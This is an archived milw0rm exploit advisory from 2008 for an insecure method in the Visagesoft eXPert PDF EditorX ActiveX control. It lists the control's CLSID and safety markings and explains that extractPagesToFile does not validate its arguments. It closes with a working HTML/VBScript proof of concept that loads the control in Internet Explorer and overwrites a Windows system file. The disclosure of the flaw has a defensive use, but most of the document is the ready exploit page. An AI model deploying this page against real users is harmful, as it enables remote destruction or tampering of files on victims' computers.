Visagesoft eXPert PDF EditorX - 'VSPDFEditorX.ocx' Insecure Method

VISAGESOFT eXPert PDF EditorX (VSPDFEditorX.ocx) INSECURE METHOD
 SITE: http://www.visagesoft.com

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 Author: Marco Torti
 mail: marcotorti2[at]yahoo[dot]com
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 FileVersion:   1.0.200.0
 CLSID:  {89F968A1-DBAC-4807-9B3C-405A55E4A279}
 Description: Visagesoft eXPert PDF EditorX
 ProgID:        VSPDFEditorX.VSPDFEdit

  Marked as:
  RegKey Safe for Script: False
  RegKey Safe for Init: False
  Implements IObjectSafety: True
  IDisp Safe: Safe for untrusted: caller,data
  IPStorage Safe: Safe for untrusted: caller,data
  KillBitSet: False

 ---Vulnerable method:
 ---extractPagesToFile(ByVal Filename  As String ,ByVal PagesRange  As String )

 ---Vulnerability Description:
    The "extractPagesToFile" method doesn't check user supplied arguments so we
    can save/overwrite a specified file passed as argument.
 Tested on Windows XP Professional SP3 fully patched, with Internet Explorer 7
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<object classid='clsid:89F968A1-DBAC-4807-9B3C-405A55E4A279' id='target'/></object>
<input language=VBScript onclick=launch() type=button value='start'>
<script language='vbscript'>
Sub launch
target.extractPagesToFile "c:\windows\-system.ini","defaultV"
MsgBox"Exploit Completed.. file overwrite!"
End Sub
</script>

# milw0rm.com [2008-12-05]